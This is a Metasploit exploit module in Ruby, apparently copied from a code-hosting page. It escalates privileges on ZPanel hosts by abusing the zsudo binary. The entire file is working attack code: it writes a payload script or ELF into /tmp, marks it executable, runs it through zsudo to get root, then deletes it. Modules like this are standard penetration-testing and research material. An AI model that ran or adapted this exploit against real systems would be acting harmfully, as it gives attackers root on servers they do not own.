78 lines
2.6 KiB
Ruby
78 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/exploit/exe'
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'ZPanel zsudo Local Privilege Escalation Exploit',
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'Description' => %q{
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This module abuses the zsudo binary, installed with zpanel, to escalate
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privileges. In order to work, a session with access to zsudo on the sudoers
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configuration is needed. This module is useful for post exploitation of ZPanel
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vulnerabilities, where typically web server privileges are acquired, and this
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user is allowed to execute zsudo on the sudoers file.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'sinn3r', 'juan vazquez' ],
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'DisclosureDate' => 'Jun 07 2013',
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'Platform' => %w{ linux unix },
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'Arch' => [ ARCH_CMD, ARCH_X86 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' =>
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[
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[ 'Command payload', { 'Arch' => ARCH_CMD } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
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],
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'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
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'DefaultTarget' => 0,
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}
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))
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register_options([
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# These are not OptPath becuase it's a *remote* path
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OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
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OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]),
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])
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end
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def check
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if file?(datastore["zsudo"])
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return CheckCode::Detected
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end
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return CheckCode::Safe
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end
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def exploit
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if (target.arch.include? ARCH_CMD)
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exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.sh"
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# Using this way of writing the payload to avoid issues when failing to find
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# a command on the victim for writing binary data
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cmd_exec "echo \"#{payload.encoded.gsub(/"/, "\\\"")}\" > #{exe_file}"
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else
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exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
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write_file(exe_file, generate_payload_exe)
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end
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cmd_exec "chmod +x #{exe_file}"
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print_status("Running...")
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begin
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cmd_exec "#{datastore["zsudo"]} #{exe_file} #{rand_text_alpha(3 + rand(5))}"
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ensure
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cmd_exec "rm -f #{exe_file}"
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end
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end
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end
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